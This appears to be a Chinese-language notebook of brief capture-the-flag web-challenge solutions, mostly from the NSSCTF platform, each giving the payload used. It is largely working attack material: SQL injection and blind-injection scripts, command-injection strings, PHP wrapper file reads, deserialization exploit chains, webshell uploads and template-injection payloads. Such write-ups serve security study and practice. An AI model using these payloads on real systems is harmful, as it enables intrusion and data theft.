1.[SWPUCTF 2021 新生赛]gift_F12

F12

2.[SWPUCTF 2021 新生赛]jicao

payload:

GET json={"x":"wllm"}

POST id=wllmNB

3.[SWPUCTF 2021 新生赛]easy_md5

payload:

GET name[]=1

POST password[]=2

4.[SWPUCTF 2021 新生赛]easy_sql

?wllm=1

sqlmap

1
2
3
4
5
6
7
sqlmap -u "url" --batch --dbs
...
sqlmap -u "url" --batch -D db_name --tables
...
sqlmap -u "url" --batch -D db_name -T table_name --columns
...
sqlmap -u "url" --batch -D db_name -T table_name -C column_name --dump

5.[SWPUCTF 2021 新生赛]include

payload:

php://filter/convert.base64-encode/resource=flag.php

6.[SWPUCTF 2021 新生赛]easyrce

paylpad:

?url=system(%27cat%20/flllllaaaaaaggggggg%27);

7.[SWPUCTF 2021 新生赛]caidao

蚁剑直接连

8.[第五空间 2021]WebFTP

admin/admin888

进入/var/www/html

/phoinfo.php

9.[SWPUCTF 2021 新生赛]babyrce

cookie:admin=1

/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg

10.[SWPUCTF 2021 新生赛]Do_you_know_http

header:XFF/Client-IP:127.0.0.1,抓包发,跟随重定向

11.[SWPUCTF 2021 新生赛]ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin="admin";
$this->passwd="ctf";
}
public function __destruct(){
$admin = $this->admin;
$passwd = $this->passwd;
}
}
$a = new wllm();
echo serialize($a);
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

12.[SWPUCTF 2021 新生赛]easyupload2.0

后缀phtml

13.[SWPUCTF 2021 新生赛]easyupload1.0

mine改为image/jpeg

14.[SWPUCTF 2021 新生赛]no_wakeup

wakeup绕过,只要序列化中成员函数大于实际成员数即可绕过,即在最终序列化串中修改成员数量。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin="admin";
$this->passwd="wllm";
}
}
$a = new HaHaHa();
echo serialize($a);
//O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
//将"HaHaHa":2改为"HaHaHa":3

传入?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

15.[suctf 2019]EasySQL

payload:*,1

猜测内置查询语句:select $post['query']||flag from Flag

拼接后:select *,1||flag from Flagselect *,1 from Flag

payload2:1;set sql_mode=PIPES_AS_CONCAT;select 1,将||的功能从或运算改为字符串拼接

16.[ZJCTF 2019]NiZhuanSiWei

exp:

?text=data://text/plain, welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

17.[SWPUCTF 2021 新生赛]PseudoProtocols

payload1:?wllm=php://filter/read=convert.base64-encode/resource=hint.php

1
2
3
4
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
<?php
//go to /test2222222222222.php
?>

payload2:?a=data://text/plain,I want flag

18.[BJDCTF 2020]easy_md5

抓包查看包头hint:select * from ‘admin’ where password=md5($pass,true)

payload1:?password=ffifdyop

payload2:?a[]=1&b[]=2

payload3:POST传param1[]=1&param2[]=2

19.[NISACTF 2022]easyssrf

payload1:file://fl4g,访问ha1x1ux1u.php

payload2:?file=/flag

20.[SWPUCTF 2021 新生赛]easyupload3.0

1
2
.htaccess
SetHandler application/x-httpd-php

再传图片马就行了

21.[SWPUCTF 2021 新生赛]error

sqlmap一把梭

22.[SWPUCTF 2021 新生赛]hardrce

exp:

1
2
3
4
5
6
7
<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
1
2
3
[+]your function: system
[+]your command: cat /flllllaaaaaaggggggg
[*] (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

23.[NCTF 2018]签到题

访问/index.php 抓包,包头nctf2018栏即是flag

24.[SWPUCTF 2021 新生赛]pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

最后需要调用GetFlag(),为此需要w33m中的__toString,令$this->w00m->{$this->w22m}=GetFlag,w22m中的w00m可控。通过设置w22m的w00m为w44m赋值,为w33m赋值GetFlag,由于w44m成员属性非public,序列化串会有特殊字符,需要进行urlencode。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m = new w44m();
$a->w00m->w22m = "GetFlag"

echo urlencode(serialize($a));

?>
//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22GetFlag%22%3B%7D%7D

25.[LitCTF 2023]导弹迷踪

F12

26.[SWPUCTF 2021 新生赛]sql

绕过空格使用/**/

绕过等号使用like

payload1:

-1'/**/order/**/by/**/3%23

payload2:

-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like(database())%23

payload3:

-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like('LTLT_flag')%23

payload4:

-1'/**/union/**/select/**/1,mid(group_concat(id,flag),1,20),3/**/from/**/LTLT_flag%23

payload5:

-1'/**/union/**/select/**/1,mid(group_concat(id,flag),21,40),3/**/from/**/LTLT_flag%23

payload6:

-1'/**/union/**/select/**/1,mid(group_concat(id,flag),41,60),3/**/from/**/LTLT_flag%23

27.[GXYCTF 2019]Ping Ping Ping

payload:

127.0.0.1;$a=lg;$b=fl;cat$IFS$9$b$a.php

28.[NSSCTF 2022 Spring Recruit]ezgame

F12

29.[LitCTF 2023]我Flag呢?

F12

30.[鹤城杯 2021]EasyP

$_SERVE['PHP_SELF']的特性,根目录存在index.php,访问http://localhost/自动进入index.php,但地址栏不显示,但通过$_SERVE['PHP_SELF']可以获取index.php这个文件名,其实是获取一条路径,/index.php

如果当前服务器路径是/test/test1/index.php那么$_SERVE['PHP_SELF']就会是/test/test1/index.php

basename()函数就是获取最后一个/后面的东西

show_source可用show[source或show.source绕过

preg_match('/utils\.php\*$/i')使用一个乱码的编码绕过,如%88

payload:?/index.php/utils.php/%88?show.source=1

31.[LitCTF 2023]PHP是世界上最好的语言!!

payload:

1
2
<?php
system("cat /flag");

32.[SWPUCTF 2021 新生赛]finalrce

payload1:l\s /|tee 1.txt然后访问1.txtx

payload2:tac /flllll\aaaaaaggggggg|tee 1.txt

33.[NISACTF 2022]checkin

选中N1SACTF会同时选中后面那部分,粘贴到url,并进行urlencode,cuishiyuan那部分也是一样

payload:ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6N1SACTF

34.[LitCTF 2023]1zjs

F12有个.dist/index.mud.js,访问,F12注释有 /f@k3f1ag.php,访问,jsfuck直接在控制台输出flag

35.[鹏城杯 2022]简单包含

脏数据绕过waf,提交大量参数

payload:

1
1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php

36.[LitCTF 2023]Ping

用POST传参,不要在前端传参

payload:command=0.0.0.0;cat /flag&ping=Ping

37.[LitCTF 2023]Follow me and hack me

payload:?CTF=Lit2023 POST:Challenge=i'm_c0m1ng

38.[SWPUCTF 2022 新生赛]ez_ez_php

payload:/?file=php://filter/read=convert.base64-encode/resource=flag

39.[LitCTF 2023]作业管理系统

F12获取口令进入后台,新建flag.php

1
2
<?php
system('cat /flag');

访问/flag.php

40.[强网杯 2019]随便注

前置知识:

show

show databases;//查数据库

show tables;//查表名

show columns from table;//查字段

alter

修改已知表的列(增加add、更改alter、change、撤销drop)

添加列

alter table "table_name" add "column_name" type;

删除列

alter table "table_name" drop "column_name" type;

改变列数据类型

alter talbe "table_name" alter column "column_name" type;

改列名

alter table "table_name" change "column1" "column2" type;

alter talbe "table_name" rename "column1" to "column2"

SQL约束

not-null指示某列不能存储NULL值

alter table persons modify age int not null;设置not null约束

alter table person modify age int null;取消null约束

primary key 指定主键,确保某列有唯一标识,每个表有且只有一个主键

alter table persons add age primary key (id)

unique 保证某列每行必须有唯一的值(可以有多个unique约束,只能有一个primary key约束)

alter table person add unique (id);

check 限制列中值的范围

alter table person add check (id>0);

deafult 规定没有给列赋值时的默认值

alter table person alter city set default 'chengdu';//mysql

alter table person add constraint ab_c default 'chengdu' for city;//SQL server / MS access

auto_increment 自动赋值

foreign key保证一个表中的数据匹配另一个表中值的参照完整性

payload1:

1';show tables;#

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

1';show columns from `1919810931114514`;#

其中存在flag

过滤了select,可以使用16进制编码查询语句,select * from 1919810931114514,结果为0x73656c656374202a2066726f6d20603139313938313039333131313435313460

使用prepare from预处理语句,将会在执行时进行编码转换,execute用来执行,select可以在一条语句为多个变量赋值,set只能对一个变量赋值

1
2
3
select @var1='y',@var2='n'#即可
set @var1='y'
set @var2='n'

set会触发waf:strstr($inject, "set") && strstr($inject, "prepare"),使用大小写绕过

最终payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

解法2:rename将wors改为其他表名,将1919…表名改为wors,给words表添加新的列名id,将flag改名data

payload:

1';rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigend not Null auto_increment primary key;alter table words change flag data varcahr(100);#

解法3:使用handler

payload:

1';handler `1919810931114514` open as `a`; handler `a` read next;#

41.[UUCTF 2022 新生赛]websign

禁用了F12、Ctrl+U、右键,直接抓包

42.[NISACTF 2022]level-up

/robots.txt-> level_2_1s_h3re.php

md5强碰撞

1
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

hackbar无法传参会报错url malformed,需要使用bp ->Level___3.php

sha1,同时也是payload

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

->level_level4.php

_被过滤可以用+或者[替代,payload:?NI+SA+=txw4ever->55_5_55.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

create_function注入,payload:a=\create_function&b=}system('cat /flag');//

43.[HUBUCTF 2022 新生赛]checkin

弱比较,php array的形式还有序列化

1
2
3
4
5
<?php
$a = array("username"=>0,"password"=>0);
echo serialize($a);
//a:2:{s:8:"username";i:0;s:8:"password";i:0;}
//payload:?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

44.[CISCN 2019华东南]Web11

smarty ssti

xff处payload:{if system('cat /flag')}{/if}然后F12查看flag

45.[HDCTF 2023]Welcome To HDCTF 2023

F12看到jsfuck直接复制控制台输出

46.[NISACTF 2022]babyupload

/source下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)

上传文件时会将uid和文件名添加到数据库中,并重定向到该文件下,过滤了文件名带.的文件,只需要上传文件名为/flag的文件,抓包改文件名即可

47.[GDOUCTF 2023]hate eat snake

F12把snake.js里的971行修改成if(this['getScore']() > 1)

1
2
if (this['getScore']() > 1)
return alert(_0x324fcb(0x2d9, 0x2c3, 0x2db, 0x2f3) + 'k3r_h0pe_t' + _0xe4a674(0x5a1, 0x595, 0x59e, 0x57c) + 'irlfriend}'),

然后开始游戏就弹flag

48.[NISACTF 2022]babyserialize

php的魔术方法:

1
2
3
4
5
6
7
8
9
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construct():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

eval→代码执行,eval在__invoke中,就去找$a();

Ilovetxw里有toString里面return $bb();

为了触发toString,要找一个把类当字符串处理的函数,在four类里面有一个strlower($this->a),而这一行写在__set方法里,所以需要调用__set方法,就需要用到__call方法,最后就会用到__wakeup()

用自己的话理解就是:

1
2
3
4
用最终结果反推的思路,我们需要执行@eval($this->txw4ever)这一行,并且控制$this->txw4ever的值为system('ls /')这样的命令执行payload,这里先按下不谈,我们需要执行@eval这一条,为了执行这一条,它在__invoke()方法里面,所以需要执行__invoke()方法,__invoke()尝试以调用函数的方式调用对象才会触发,就需要寻找$a();这样的语句,在Ilovetxw类的__toString()当中存在return $bb();这一句,而$bb=$this->su,所以需要让su为NISA对象,才能通过$bb();调用__invoke()。然后需要触发其中的__toString()方法,为了触发这个__toString()方法,需要找到将类当成字符串来处理的方法,常见的有echo,本题是strlower($this->a),这里让$this->a为对象Ilovetxw就可以了,而为了执行strlower(),这个strlower()写在类four的__set方法里,所以需要调用__set方法,需要对不存在或者不可访问的变量进行赋值,就会自动调用,Ilovetxw的__call()方法里面,$this->huang->fun=$arg[0];,可以发现,Ilovetxw里并没有成员fun,所以能触发__set,为了触发__set,__set在four类里,那么可控制$this->huang为对象four。接着需要触发__call方法,__call对不存在的方法或者不可访问的方法进行调用就自动调用,类TianXiWei的__wakeup()里面有$this->ext->nisa($this->x);而nisa()并不存在,所以要设置ext的值为类Ilovetxw的对象,通过__call来触发Ilovetxw里的__set,这个__set又能执行strlower进而触发__toString,进而触发__invoke(),最终执行里面的@eval()
写得清晰一点就从类和方法写链子
__invoke()->__toString()->__set()->__call()->__wakeup()
NISA()->Ilovetxw()->four()->Ilovetxw()->TianXiWei()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class NISA{
public $fun;
public $txw4ever ='system("ls /");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a = new TianXiWei();
$a->ext = new Ilovetxw();
$a->ext->huang = new four();
$a->ext->huang->a =new Ilovetxw();
$a->ext->huang->a->su =new NISA();
echo urlencode(serialize($a));//因为类里面有private或者protected成员,序列化后的字符串会存在特殊字符,需要通过url编码之后再传参
//最后考虑到waf,使用大小写进行绕过,system->System

至此,想必对php的反序列化有了一个较为深刻的理解了。

49.[NISACTF 2022]midlevel

和CISCN2019华东南web11一样

50.[NSSCTF 2022 Spring Recruit]babyphp

使用数组来绕过intval,会报错返回1,也能绕过正则后面的就是经典md5比较

payload:

POST a[]=1,2&b1[]=1&b2[]=2&c1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&c2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

51.[NISACTF 2022]bingdundun~

文件上传,可以考虑phar或者zip协议,上传了zip之后

phar://xxx.zip/xxx,由于xxx的内容是一句话,蚁剑连接该地址即可

52.[GDOUCTF 2023]EZ WEB

F12->/src,阅读源码,postman用put方法访问/super-secret-route-nobody-will-guess

53.[LitCTF 2023]Vim yyds

扫目录,以及积累:vim打开文件会生成临时的swp,/.index.php.swp获取缓存,使用strings打开,获取代码逻辑

1
2
3
4
5
6
7
8
9
10
?>
}
eval(system($_POST['cmd']));
echo "<p>Oh You got my password!</p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>can can need Vim </p>";
$password = "Give_Me_Your_Flag";
error_reporting(0);
<?php

将password进行b64编码,传入,执行任意命令

54.[GXYCTF 2019]BabyUpload

content-type修改,上传.htaccess,过滤<?,使用script绕过

<script language='php'>assert($_REQUEST['cmd'])</script>

waf不允许执行system(),使用show_source()

55.[GKCTF 2020]cve版签到

点击页面的连接可以回显header,php的get_headers()函数在低版本被url的\0截断就可以请求连接。浏览器通过%00截断

?url=http://127.0.0.1%00www.ctfhub.com

回显的Tips里面有host以123结尾

?url=http://127.0.0.123%00www.ctfhub.com

56.[HNCTF 2022 Week1]2048

F12找到flag的ascii

1
2
3
4
5
6
7
plain = [102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125]
s = ""
for i in plain:
s+=chr(i)

print(s)
#flag{53160c888e25c3f828b23e316a7ae083}

57.[LitCTF 2023]Http pro max plus

Client-IP:127.0.0.1

Referer:pornhub.com

User-Agent:Chrome

Via:Clash.win

然后F12查看注释的flag地址最后访问

58.[NISACTF 2022]popchains

分析下链子,传入wish进行反序列化,在Try_Work_Hard类里找到include($value)函数,需要include(/flag),这是最终目的,为此需要调用append方法,而类里面有__invoke()方法会调用append,为此需要触发invoke,为了触发invoke,需要寻找$a(),在Make_a_Change类的__get方法里return了一个$function(),$a()就找到了。为此需要触发__get,而$function的值是$this->effort,可以控制它为对象,为了触发get,需要访问不存在的属性,而Road_is_Long里的__toString里面的return $this->string->page,可以控制string为其他类对象,其他类对象里面没有page这个属性,就可以触发__get,所以要触发__toString,而Road_is_Long的__construct里面的$this->page = $file;会触发__toString,就让$this->page的值为Road_is_Long的对象就可以了。尝试写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = "/flag";
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string = new Make_a_Change();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));

59.[GDOUCTF 2023]泄露的伪装

扫目录,www.rar泄露,->orzorz.php,使用伪协议进行传参使得file_get_contents的结果为ctrl

payload:?cxk=data://text/plain,ctrl

60.[CISCN 2019华北Day2]Web1

使用intruder配合sql injection的payload快速筛选过滤关键词,通过观察过滤关键词采取盲注手段

poc:id=0^(ascii(substr(select(flag)from(flag)),1,1))>101)

payload:if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2) % (i,j)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://node2.anna.nssctf.cn:28080/index.php"
flag = ""
for i in range(1,60):
for j in range(32,128):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
data = {"id":payload}
r = requests.post(url,data)
if "Hello" in r.text:
x = chr(j)
flag += str(x)
print(flag)
break

61.[HCTF 2018]Warmup

代码waf逻辑是通过mb_substr截取0到strpos($page.’?’,’?’)也就是两个?之间的值,并和白名单进行比较,构造

?file=source.php?../../../../../../../../../ffffllllaaaagggg

62.[HNCTF 2022 Week1]Interesting_include

payload:filter=php://filter/read=convert.base64-encode/resource=flag.php

63.[NSSRound#1 Basic]basic_check

curl访问靶机地址允许put方法,使用put 地址/shell.php写入webshell

64.[SWPUCTF 2022 新生赛]ez_rce

扫目录 robots.txt发现/NSS/index.php,tp5框架,工具一把梭

flag在/nss/ctf/flag/flag

65.[羊城杯 2020]easycon

蚁剑直接连index.php,下载bbbbbb.txt,base64转图片

66.[LitCTF 2023]这是什么?SQL !注一下 !

sqlmap一把梭

67.[鹤城杯 2021]Middle magic

%0a绕过正则,数组绕过sha1,json_encode()内容和字符串比较漏洞,0 == "string"

payload:

?aaa=%0apass_the_level_1%23 POST:admin[]=1&root_pwd[]=2&level_3={"result":0}

68.[GDOUCTF 2023]受不了一点

payload:/?aaa=114514a&bbb=114514 POST gdou[]=1&ctf[]=2 Header:Cookie:cookie=j0k3r

69.[GKCTF 2021]easycms

/admin

admin/12345

设计→自定义→导出主题→保存,会在url中得到b64文件名,修改为flag的b64值L2ZsYWc=任意文件下载

文件上传没利用成功,保存提示fail

70.[HNCTF 2022 Week1]easy_html

抓包访问/fl4g.php,前端修改限长为11,随便输入11位数字getflag

71.[HDCTF 2023]SearchMaster

payload:POSTdata={system('cat /f*')}

72.[UUCTF 2022 新生赛]ez_rce

读取文件指令还有nl

使用短标签,先闭合,反引号执行

payload1:?code=?><?=`l\s /`?>

payload2:?code=?><?=`nl /fffffffffflagafag`?>

73.[第五空间 2021]pklovecloud

链子分析:需要执行ace下的file_get_contents($file),为此需要让$this->openstack->neutron===$this->openstack->nova成立,让两者都为null就行,可以控制$this->docker=null,由于cinder是protected类型,只能在内部赋值,而我们实际是可以控制__construct()方法执行什么的,源代码这里给$this->cinder赋值了没有用的pkshow对象,这里修改成我们要的ace对象从而执行它的echo_name方法,而to_String则是在源代码中的echo处触发,反序列化了pks的序列化串会得到对象,echo这个对象的时候->__toString->$this->cinder->echo_name()此时$this->cinder为ace对象,则会触发ace对象里的echo_name函数则会执行里面的代码,绕过了$this->openstack->neutron===$this->openstack->nova进入到file_get_contents("flag.php")成功读取文件

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class acp{
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace();
}
}
class ace{
public $filename="../nssctfasdasdflag";//第一次是flag.php
public $openstack;
public $docker;
}
$a = new acp();
$b = new ace();
$b->docker='';
echo urlencode(serialize($a));

74.[HNCTF 2022 Week1]easy_upload

直接传一句话 蚁剑连接

75.[第五空间 2021]yet_another_mysql_injection

